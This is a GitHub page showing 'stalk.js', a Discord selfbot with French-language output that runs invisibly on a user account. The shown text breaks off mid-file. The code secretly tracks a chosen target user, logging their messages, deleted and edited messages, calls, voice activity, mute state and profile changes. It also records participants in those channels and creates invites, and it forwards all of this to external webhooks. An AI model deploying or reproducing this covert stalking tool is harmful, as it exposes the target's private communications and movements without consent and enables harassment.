-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathstalk.js
More file actions
659 lines (515 loc) · 39.4 KB
/
stalk.js
File metadata and controls
659 lines (515 loc) · 39.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
const fetch = require('node-fetch');
const config = require("./config.json");
const { Client, RichEmbed } = require('legend.js');
const client = new Client({ presence: { status: 'invisible' }, ws: { properties: { os: "Windows", browser: "Discord Embedded" } } });
client.on('ready', () => console.log(`[ Stalker : ${client.user.username} ]`));
client.on('message', async message => {
if (!message.author) return;
if (config.cible.includes('.') && message.author.id !== client.user.id ||
!config.cible.includes('.') && config.cible !== message.author.id || !config.messageWebhookUrl.includes('http')) return;
if (message.type == "CALL"){
const embed = new RichEmbed()
.setTitle(`${message.author.displayName} a démarré un appel`)
.setColor(0x313338)
.setDescription(`
***Nom du salon:*** \`${message.channel.name ?? 'Pas de nom'}\`
***Owner:*** ${message.channel.owner.id ? `<@${message.channel.owner.id}>` : "`Inconnu`"}
***Nombre de membres dans le groupe:*** \`${message.channel.type == "group" ? message.channel.recipient.size : "Pas un groupe"}\`
***Type de salon:*** \`${channelType(message.channel.type)}\`
***Utilisateurs:*** ${message.channel.type == "group" ? message.channel.recipients.map(r => `- ${r} (\`${r.username}\` | \`${r.id}\`)`).join('\n') : message.channel.type == "DM" ? `- ${message.recipient} (\`${message.recipient.username}\` | \`${message.recipient.id}\`)` : 'Inconnu'}`.replaceAll(' ', ''))
return sendEmbed(config.calldmWebhookUrl, embed);
}
const images = [];
const invite = message.guild ? message.guild.vanityURLCode ? { url: `https://discord.gg/${message.guild.vanityURLCode}` } :
await message.guild.channels.filter(c => c.type == "text").first().createInvite().catch(() => false) : null;
const embed = new RichEmbed()
.setTitle(`${message.author.displayName} a envoyé un message`)
.setColor(0x313338)
.setThumbnail(message.author.avatarURL({ dynamic: true }))
.setDescription(`
***Auteur:*** ${message.author.displayName} (\`${message.author.username}\` | \`${message.author.id}\`)
***Salon:*** ${message.channel} ([\`${message.channel.id}\`](<${message.url}>))
${message.guild ? `***Serveur:*** \`${message.guild.name}\`\n` : ''}***Type de salon:*** \`${channelType(message.channel.type)}\`
${invite ? `***Invitation:*** [\`Rejoindre\`](${invite.url})\n` : ''}***Owner:*** ${message.channel.owner ? `<@${message.channel.owner.id}>\n` : message.guild ? `<@${message.guild.owner.id}>\n` : ""}${message.channel.type == "group" ? `***Nombre de membres dans le groupe:*** \`${message.channel.recipients.size}\`\n` : ""}${message.reference ? `***Réponse:*** https://discord.com/channels/${message.reference.guildId ? `${message.reference.guildID}` : '@me'}/${message.reference.channelID}/${message.reference.messageId}\n` : ''}${message.content ? message.content.length > 1020 ? `***Message:*** \`${message.content.substring(0, 1020)}` + " ...\`" : `***Message:*** \`${message.content}\`` : ''}
`)
for (const attachment of message.attachments.values())
await upload(attachment.url).then(url => url ? images.push(url) : images.push(attachment.url)).catch(() => false);
if (images.length == 1 && /^https?:\/\/.*\/.*\.(png|gif|jpeg|jpg)\??.*$/gmi.test(images[0])) embed.setImage(images[0])
else if (images.length) embed.addField("Fichiers", images.map((r, i) => `- [\`Fichier ${i+1}\`](${r})`).join('\n'), true)
sendEmbed(config.messageWebhookUrl, embed)
})
client.on('messageDelete', async message => {
if (!message.author) return;
if (config.cible.includes('.') && message.author.id !== client.user.id ||
!config.cible.includes('.') && config.cible !== message.author.id || !config.messageWebhookUrl.includes('http')) return;
const images = [];
const invite = message.guild ? message.guild.vanityURLCode ? { url: `https://discord.gg/${message.guild.vanityURLCode}` } :
await message.guild.channels.filter(c => c.type == "text").first().createInvite().catch(() => false) : null;
const embed = new RichEmbed()
.setTitle(`${message.author.displayName} a supprimé un message`)
.setColor(0x313338)
.setThumbnail(message.author.avatarURL({ dynamic: true }))
.setDescription(`
***Auteur:*** ${message.author.displayName} (\`${message.author.username}\` | \`${message.author.id}\`)
***Salon:*** ${message.channel} ([\`${message.channel.id}\`](<${message.url}>))
${message.guild ? `***Serveur:*** \`${message.guild.name}\`\n` : 'Aucun Serveur'}***Type de salon:*** \`${channelType(message.channel.type)}\`
${invite ? `***Invitation:*** [\`Rejoindre\`](${invite.url})\n` : ''}***Owner:*** ${message.channel.owner.id ? `<@${message.channel.owner.id}>\n` : message.guild ? `<@${message.guild.owner.id}>\n` : ""}${message.channel.type == "group" ? `***Nombre de membres dans le groupe:*** \`${message.channel.recipients.size}\`\n` : ""}${message.reference ? `***Réponse:*** https://discord.com/channels/${message.reference.guildId ? `${message.reference.guildId}` : '@me'}/${message.reference.channelId}/${message.reference.messageId}\n` : ''}${message.content ? message.content.length > 1020 ? `***Message:*** \`${message.content.substring(0, 1020)}` + " ...\`" : `***Message:*** \`${message.content}\`` : ''}
`)
for (const attachment of message.attachments.values())
await upload(attachment.url).then(url => url ? images.push(url) : images.push(attachment.url)).catch(() => false);
if (images.length == 1 && /^https?:\/\/.*\/.*\.(png|gif|jpeg|jpg)\??.*$/gmi.test(images[0])) embed.setImage(images[0])
else if (images.length) embed.addFields({ name: "Fichiers", value: `${images.map((r, i) => `- [\`Fichier ${i+1}\`](${r})`).join('\n')}` })
sendEmbed(config.messageWebhookUrl, embed)
})
client.on('messageUpdate', async (oldMessage, newMessage) => {
if (!oldMessage.author) return;
if (config.cible.includes('.') && oldMessage.author.id !== client.user.id ||
!config.cible.includes('.') && config.cible !== oldMessage.author.id || !config.messageWebhookUrl.includes('http')) return;
const oldImages = [];
const newImages = [];
const invite = oldMessage.guild ? oldMessage.guild.vanityURLCode ? { url: `https://discord.gg/${oldMessage.guild.vanityURLCode}` } :
await oldMessage.guild.invites.create(oldMessage.guild.channels.cache.filter(c => c.type == "text").first().id, { unique: true, maxAge: 0, maxUses: 0 }).catch(() => false) :
oldMessage.channel.type === 'group' ? await oldMessage.channel.getInvite().catch(() => false) : null;
const embed = new RichEmbed()
.setTitle(`${oldMessage.author.displayName} a modifié un message`)
.setColor(0x313338)
.setThumbnail(oldMessage.author.avatarURL({ dynamic: true }))
.setDescription(`
***Auteur:*** ${oldMessage.author.displayName} (\`${oldMessage.author.username}\` | \`${oldMessage.author.id}\`)
***Salon:*** ${oldMessage.channel} ([\`${oldMessage.channel.id}\`](<${oldMessage.url}>))
${oldMessage.guild ? `***Serveur:*** \`${oldMessage.guild.name}\`\n` : ''}***Type de salon:*** \`${channelType(oldMessage.channel.type)}\`
${invite ? `***Invitation:*** [\`Rejoindre\`](${invite.url})\n` : ''}***Owner:*** ${oldMessage.channel.owner.id ? `<@${oldMessage.channel.owner.id}>\n` : oldMessage.guild ? `<@${oldMessage.guild.owner.id}>\n` : ""}${oldMessage.channel.type == "group" ? `***Nombre de membres dans le groupe:*** \`${oldMessage.channel.recipients.size}\`\n` : ""}${oldMessage.reference ? `***Réponse:*** https://discord.com/channels/${oldMessage.reference.guildId ? `${oldMessage.reference.guildId}` : '@me'}/${oldMessage.reference.channelId}/${oldMessage.reference.messageId}\n` : ''}${oldMessage.content ? oldMessage.content.length > 1020 ? `***Message:*** \`${oldMessage.content.substring(0, 1020)}` + " ...\`\n" : `***Message:*** \`${oldMessage.content}\`\n` : ''}${oldMessage.content ? oldMessage.content.length > 1020 ? `***Ancien Message:*** \`${oldMessage.content.substring(0, 1020)}` + " ...\`\n" : `***Ancien Message:*** \`${oldMessage.content}\`\n` : ''}${newMessage.content ? newMessage.content.length > 1020 ? `***Nouveau Message:*** \`${newMessage.content.substring(0, 1020)}` + " ...\`" : `***Nouveau Message:*** \`${oldMessage.content}\`` : ''}
`)
for (const attachment of oldMessage.attachments.values())
await upload(attachment.url).then(url => url ? oldImages.push(url) : oldImages.push(attachment.url)).catch(() => false);
for (const attachment of newMessage.attachments.values())
await upload(attachment.url).then(url => url ? newImages.push(url) : newImages.push(attachment.url)).catch(() => false);
if (oldImages.length) embed.addFields({ name: "Anciens Fichiers", value: `${oldImages.map((r, i) => `- [\`Fichier ${i+1}\`](${r})`).join('\n')}`, inline: true })
if (newImages.length) embed.addFields({ name: "Nouveaux Fichiers", value: `${newImages.map((r, i) => `- [\`Fichier ${i+1}\`](${r})`).join('\n')}`, inline: true })
sendEmbed(config.messageWebhookUrl, embed)
})
client.on('userUpdate', async (oldUser, newUser) => {
if (config.cible.includes('.') && oldUser.id !== client.user.id ||
!config.cible.includes('.') && config.cible !== oldUser.id) return;
await oldUser.fetch().catch(() => false);
await newUser.fetch().catch(() => false);
if (oldUser.avatarURL() !== newUser.avatarURL()){
const oldAvatar = await upload(oldUser.avatarURL({ dynamic: true, size: 4096, format: "png" }))
const newAvatar = await upload(newUser.avatarURL({ dynamic: true, size: 4096, format: "png" }))
const embed = new RichEmbed()
.setTitle(`${newUser.displayName} a modifié sa photo de profil`)
.setColor(0x313338)
.setDescription(`- ${oldAvatar ? `[\`Ancienne Photo de profile\`](${oldAvatar})` : 'Aucune ancienne photo de profil'}\n- ${newAvatar ? `[\`Nouvelle Photo de profile\`](${newAvatar})` : 'Aucune nouvelle photo de profil'}`)
if (oldAvatar) embed.setThumbnail(oldAvatar)
if (newAvatar) embed.setImage(newAvatar)
sendEmbed(config.avatarWebhookUrl, embed)
}
if (oldUser.bannerURL() !== newUser.bannerURL()){
const oldBanner = await upload(oldUser.bannerURL({ dynamic: true, size: 4096, format: 'png' }))
const newBanner = await upload(newUser.bannerURL({ dynamic: true, size: 4096, format: 'png' }))
const embed = new RichEmbed()
.setTitle(`${newUser.displayName} a modifié sa bannière`)
.setColor(0x313338)
.setDescription(`- ${oldBanner ? `[\`Ancienne bannière\`](${oldBanner})` : 'Aucune ancienne bannière'}\n- ${newBanner ? `[\`Nouvelle Bannière\`](${newBanner})` : 'Aucune nouvelle bannière'}`)
if (oldBanner) embed.setThumbnail(oldBanner)
if (newBanner) embed.setImage(newBanner)
sendEmbed(config.bannerWebhookUrl, embed)
}
})
client.on('guildCreate', async guild => {
if (!config.cible.includes('.')) return;
const invite = guild.vanityURLCode ? { url: `https://discord.gg/${guild.vanityURLCode}` } :
guild.members.me.permissions.has('CREATE_INSTANT_INVITE') ? await guild.invites.create(guild.channels.cache.filter(c => c.type == "text" && c.permissionsFor(client.user).has('CREATE_INSTANT_INVITE')).first().id, { unique: true, maxAge: 0, maxUses: 0 }).catch(() => false) : null;
const guildAvatar = await upload(guild.iconURL({ dynamic: true, size: 4096, format: "png" }))
const guildBanner = await upload(guild.bannerURL({ dynamic: true, size: 4096, format: "png" }))
const guildSplash = await upload(guild.splashURL({ dynamic: true, size: 4096, format: "png" }))
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a rejoint un serveur`)
.setColor(0x313338)
.setDescription(`
***Nom du serveur:*** ${invite ? `[\`${guild.name}\`](${invite.url})` : `\`${guild.name}\``}
***ID du Serveur***: \`${guild.id}\`
***Propriétaire du Serveur***: <@${guild.owner.id}> (\`${guild.owner.id}\`)
***Nombre de membres***: \`${guild.memberCount}\`
***Nombre de bots***: \`${guild.members.cache.filter(c => c.user.bot).size}\`
***Nombre de boosts:*** \`${guild.premiumSubscriptionCount}\`
***Icone du serveur***: ${guildAvatar ? `[\`Lien de l'icone\`](${guildAvatar})` : '`Aucune`'}
***Splash du Serveur***: ${guildSplash ? `[\`Lien du splash\`](${guildSplash})` : '`Aucune`'}
***Bannière du Serveur***: ${guildBanner ? `[\`Lien de la bannière\`](${guildBanner})` : '`Aucune`'}
`)
if (guildAvatar) embed.setThumbnail(guildAvatar)
if (guildBanner) embed.setImage(guildBanner)
else if (guildSplash) embed.setImage(guildSplash)
sendEmbed(config.guildsWebhookUrl, embed)
})
/*client.on('guildMemberAdd', async member => {
if (config.cible.includes('.') || member.id !== config.cible) return;
const invite = member.guild.vanityURLCode ? { url: `https://discord.gg/${member.guild.vanityURLCode}` } :
member.guild.members.me.permissions.has('CREATE_INSTANT_INVITE') ? await member.guild.invites.create(member.guild.channels.cache.filter(c => c.type == "text" && c.permissionsFor(client.user).has('CREATE_INSTANT_INVITE')).first().id, { unique: true, maxAge: 0, maxUses: 0 }).catch(() => false) : null;
const guildAvatar = await upload(member.guild.iconURL({ dynamic: true, size: 4096, format: "png" }))
const guildBanner = await upload(member.guild.bannerURL({ dynamic: true, size: 4096, format: "png" }))
const guildSplash = await upload(member.guild.splashURL({ dynamic: true, size: 4096, format: "png" }))
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a rejoint un serveur`)
.setColor(0x313338)
.setDescription(`
***Nom du serveur:*** ${invite ? `[\`${member.guild.name}\`](${invite.url})` : `\`${member.guild.name}\``}
***ID du Serveur***: \`${member.guild.id}\`
***Propriétaire du Serveur***: <@${guild.owner.id}> (\`${guild.owner.id}\`)
***Nombre de membres***: \`${member.guild.memberCount}\`
***Nombre de bots***: \`${member.guild.members.cache.filter(c => c.user.bot).size}\`
***Nombre de boosts:*** \`${member.guild.premiumSubscriptionCount}\`
***Icone du serveur***: ${guildAvatar ? `[\`Lien de l'icone\`](${guildAvatar})` : '`Aucune`'}
***Splash du Serveur***: ${guildSplash ? `[\`Lien du splash\`](${guildSplash})` : '`Aucune`'}
***Bannière du Serveur***: ${guildBanner ? `[\`Lien de la bannière\`](${guildBanner})` : '`Aucune`'}
`)
if (guildAvatar) embed.setThumbnail(guildAvatar)
if (guildBanner) embed.setImage(guildBanner)
else if (guildSplash) embed.setImage(guildSplash)
sendEmbed(config.guildsWebhookUrl, embed)
})*/
client.on('guildDelete', async guild => {
if (!config.cible.includes('.')) return;
const invite = guild.vanityURLCode ? { url: `https://discord.gg/${guild.vanityURLCode}` } : null;
const guildAvatar = await upload(guild.iconURL({ dynamic: true, size: 4096, format: "png" }))
const guildBanner = await upload(guild.bannerURL({ dynamic: true, size: 4096, format: "png" }))
const guildSplash = await upload(guild.splashURL({ dynamic: true, size: 4096, format: "png" }))
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a quitté un serveur`)
.setColor(0x313338)
.setDescription(`
***Nom du serveur:*** ${invite ? `[\`${guild.name}\`](${invite.url})` : `\`${guild.name}\``}
***ID du Serveur***: \`${guild.id}\`
***Propriétaire du Serveur***: <@${guild.owner.id}> (\`${guild.owner.id}\`)
***Nombre de membres***: \`${guild.memberCount}\`
***Nombre de bots***: \`${guild.members.cache.filter(c => c.user.bot).size}\`
***Nombre de boosts:*** \`${guild.premiumSubscriptionCount}\`
***Icone du serveur***: ${guildAvatar ? `[\`Lien de l'icone\`](${guildAvatar})` : '`Aucune`'}
***Splash du Serveur***: ${guildSplash ? `[\`Lien du splash\`](${guildSplash})` : '`Aucune`'}
***Bannière du Serveur***: ${guildBanner ? `[\`Lien de la bannière\`](${guildBanner})` : '`Aucune`'}
`)
if (guildAvatar) embed.setThumbnail(guildAvatar)
if (guildBanner) embed.setImage(guildBanner)
else if (guildSplash) embed.setImage(guildSplash)
sendEmbed(config.guildsWebhookUrl, embed)
})
/*client.on('guildMemberRemove', async member => {
if (config.cible.includes('.') || member.id !== config.cible) return;
const invite = member.guild.vanityURLCode ? { url: `https://discord.gg/${member.guild.vanityURLCode}` } : null;
const guildAvatar = await upload(member.guild.iconURL({ dynamic: true, size: 4096, format: "png" }))
const guildBanner = await upload(member.guild.bannerURL({ dynamic: true, size: 4096, format: "png" }))
const guildSplash = await upload(member.guild.splashURL({ dynamic: true, size: 4096, format: "png" }))
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a quitté un serveur`)
.setColor(0x313338)
.setDescription(`
***Nom du serveur:*** ${invite ? `[\`${member.guild.name}\`](${invite.url})` : `\`${member.guild.name}\``}
***ID du Serveur***: \`${member.guild.id}\`
***Propriétaire du Serveur***: <@${member.guild.owner.id}> (\`${member.guild.owner.id}\`)
***Nombre de membres***: \`${member.guild.memberCount}\`
***Nombre de bots***: \`${member.guild.members.cache.filter(c => c.user.bot).size}\`
***Nombre de boosts:*** \`${member.guild.premiumSubscriptionCount}\`
***Icone du serveur***: ${guildAvatar ? `[\`Lien de l'icone\`](${guildAvatar})` : '`Aucune`'}
***Splash du Serveur***: ${guildSplash ? `[\`Lien du splash\`](${guildSplash})` : '`Aucune`'}
***Bannière du Serveur***: ${guildBanner ? `[\`Lien de la bannière\`](${guildBanner})` : '`Aucune`'}
`)
if (guildAvatar) embed.setThumbnail(guildAvatar)
if (guildBanner) embed.setImage(guildBanner)
else if (guildSplash) embed.setImage(guildSplash)
sendEmbed(config.guildsWebhookUrl, embed)
})*/
client.on('channelCreate', async channel => {
if (channel.type !== "group" || !config.cible.includes('.')) return;
const groupAvatar = await upload(channel.iconURL({ dynamic: true, format: "png" }))
const invite = await channel.getInvite().catch(() => false);
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a ${channel.owner.id == client.user.id ? 'crée un groupe' : 'été ajouté à un groupe'}`)
.setColor(0x313338)
.setDescription(`
***Nom du groupe:*** \`${channel.name ?? channel.recipients.map(r => r.username).join(', ')}}\`
***ID du groupe:*** \`${channel.id}\`
***Owner du groupe:*** ${channel.owner} (\`${channel.owner.username}\` | \`${channel.owner.id}\`)
***Nombre d'utilisateurs:*** \`${channel.recipients.size}\`
${invite ? `***Invitation:*** [\`Rejoindre le groupe\`](${invite.url})` : ''}
`)
if (groupAvatar) embed.setThumbnail(groupAvatar)
sendEmbed(config.groupsWebhookUrl, embed)
})
client.on('channelDelete', async channel => {
if (channel.type !== "group" || !config.cible.includes('.')) return;
const groupAvatar = await upload(channel.iconURL({ dynamic: true, format: "png" }))
const invite = await channel.getInvite().catch(() => false);
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a ${channel.owner.id == client.user.id ? 'supprimé un groupe' : 'été retiré d\'un groupe'}`)
.setColor(0x313338)
.setDescription(`
***Nom du groupe:*** \`${channel.name ?? channel.recipients.map(r => r.username).join(', ')}}\`
***ID du groupe:*** \`${channel.id}\`
***Owner du groupe:*** ${channel.owner} (\`${channel.owner.username}\` | \`${channel.owner.id}\`)
***Nombre d'utilisateurs:*** \`${channel.recipients.size}\`
${invite ? `***Invitation:*** [\`Rejoindre le groupe\`](${invite.url})` : ''}
`)
if (groupAvatar) embed.setThumbnail(groupAvatar)
sendEmbed(config.groupsWebhookUrl, embed)
})
client.on('relationshipAdd', async (userId, notify) => {
if (!config.cible.includes('.')) return;
const user = await client.users.fetch(userId).catch(() => false);
if (!user) return;
await user.fetch().catch(() => false);
const avatar = user.avatar ? await upload(user.avatarURL({ dynamic: true, format: "png", size: 4096 })) : null;
const banner = user.banner ? await upload(user.bannerURL({ dynamic: true, format: "png", size: 4096 })) : null;
const profil = await user.getProfile();
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a reçu une demande d'ami`)
.setColor(0x313338)
.setDescription(`
***Utilisateur:*** ${user} (\`${user.username}\` | \`${user.id}\`)
***Date de création:*** <t:${Math.round(user.createdTimestamp / 1000)}> <t:${Math.round(user.createdTimestamp / 1000)}:R>
***Jours depuis la création:*** \`${Math.floor((Date.now() - user.createdAt) / 1000 / 60 / 60 / 24)}\`
***Avatar:*** ${avatar ? `[\`Lien de la PP\`](${avatar})` : '`Pas d\'avatar`'}
***Bannière:*** ${banner ? `[\`Lien de la Bannière\`](${banner})` : '`Pas de bannière`'}
***Amis en communs:*** ${profil.mutual_friends.length == 0 ? "`Aucun`" : profil.mutual_friends.map(r => `- ${r} (\`${r.username}\` | \`${r.id}\`)`).join('\n')}
`)
if (avatar) embed.setThumbnail(avatar);
if (banner) embed.setImage(banner);
sendEmbed(config.friendWebhookUrl, embed)
})
client.on('relationshipRemove', async (userId, oldType, nickname) => {
if (!config.cible.includes('.') || oldType !== "FRIEND") return;
const user = await client.users.fetch(userId).catch(() => false);
if (!user) return;
await user.fetch();
const avatar = await upload(user.avatarURL({ dynamic: true, format: "png", size: 4096 }));
const banner = await upload(user.bannerURL({ dynamic: true, format: "png", size: 4096 }));
const embed = new RichEmbed()
.setTitle(`${client.user.displayName} a supprimé un ami`)
.setColor(0x313338)
.setDescription(`
***Utilisateur:*** ${user} (\`${user.username}\` | \`${user.id}\`)
***Date de création:*** <t:${Math.round(user.createdTimestamp / 1000)}> <t:${Math.round(user.createdTimestamp / 1000)}:R>
***Jours depuis la création:*** \`${Math.floor((Date.now() - user.createdAt) / 1000 / 60 / 60 / 24)}\`
***Avatar:*** ${avatar ? `[\`Lien de la PP\`](${avatar})` : '`Pas d\'avatar`'}
***Bannière:*** ${banner ? `[\`Lien de la Bannière\`](${banner})` : '`Pas de bannière`'}
`)
if (avatar) embed.setThumbnail(avatar);
if (banner) embed.setImage(banner);
sendEmbed(config.friendWebhookUrl, embed)
})
client.on('voiceStateUpdate', async (oldState, newState) => {
if (config.cible.includes('.') && (oldState ?? newState).user.id !== client.user.id &&
(oldState.channel && !oldState.channel.members.has(client.user.id) ||
newState.channel && !newState.channel.members.has(client.user.id)) ||
!config.cible.includes('.') && config.cible !== (oldState ?? newState).user.id &&
(oldState.channel && !oldState.channel.members.has(config.cible) ||
newState.channel && !newState.channel.members.has(config.cible))
) return;
if (!oldState.channel.id && newState.channel.id){
const embed = new RichEmbed()
.setTitle(`${newState.user.displayName} a rejoint un salon vocal`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${newState.guild ? newState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(newState.channel.type)}\`
***Salon:*** ${newState.channel} ${newState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${newState.guild.id}/${newState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${newState.channel.members.size}\`
***Vocal Caché:*** ${newState.channel.permissionsFor(newState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of newState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (oldState.channel && !newState.channel.id){
const embed = new RichEmbed()
.setTitle(`${oldState.user.displayName} a quitté un salon vocal`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${oldState.guild ? oldState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(oldState.channel.type)}\`
***Salon:*** ${oldState.channel} ${oldState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${oldState.guild.id}/${oldState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${oldState.channel.members.size}\`
***Vocal Caché:*** ${oldState.channel.permissionsFor(oldState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of oldState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (!oldState.mute && newState.mute){
const embed = new RichEmbed()
.setTitle(`${newState.user.displayName} a désactivé son micro`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${newState.guild ? newState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(newState.channel.type)}\`
***Salon:*** ${newState.channel} ${newState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${newState.guild.id}/${newState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${newState.channel.members.size}\`
***Vocal Caché:*** ${newState.channel.permissionsFor(newState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of newState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (oldState.mute && !newState.mute){
const embed = new RichEmbed()
.setTitle(`${oldState.user.displayName} a activé son micro`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${oldState.guild ? oldState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(oldState.channel.type)}\`
***Salon:*** ${oldState.channel} ${oldState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${oldState.guild.id}/${oldState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${oldState.channel.members.size}\`
***Vocal Caché:*** ${oldState.channel.permissionsFor(oldState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of oldState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (!oldState.deaf && newState.deaf){
const embed = new RichEmbed()
.setTitle(`${newState.user.displayName} a désactivé son casque`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${newState.guild ? newState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(newState.channel.type)}\`
***Salon:*** ${newState.channel} ${newState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${newState.guild.id}/${newState.channel.id})` : ''}
***Nombre d'utilisateurs:*** \`${newState.channel.members.size}\`
***Vocal Caché:*** ${newState.channel.permissionsFor(newState.user).has('VIEW_CHANNEL') ? "`❌`" : "`✔`"}
`)
for (const member of newState.channel.members.filter(c => c.id).toJSON().slice(0, 20))
embed.addFields({ name: `${member.user.displayName}`, value: `User: ${member} (\`${member.user.username}\` | \`${member.user.id}\`)\nMute: ${member.voice.mute ? '`✔`' : '`❌`'}\nDeaf: ${member.voice.deaf ? '`✔`' : '`❌`'}\nCaméra: ${member.voice.selfVideo ? '`✔`' : '`❌`'}\nStreaming: ${member.voice.streaming ? '`✔`' : '`❌`'}`, inline: true })
sendEmbed(config.voiceWebhookUrl, embed)
}
else if (oldState.deaf && !newState.deaf){
const embed = new RichEmbed()
.setTitle(`${oldState.user.displayName} a activé son casque`)
.setColor(0x313338)
.setDescription(`
***Serveur:*** \`${oldState.guild ? oldState.guild.name : 'Aucun Serveur'}\`
***Type de salon:*** \`${channelType(oldState.channel.type)}\`
***Salon:*** ${oldState.channel} ${oldState.guild ? `[\`Rejoindre le salon\`](https://discord.com/channels/${oldState.guild.id}/${oldState.channel.id})` : ''}
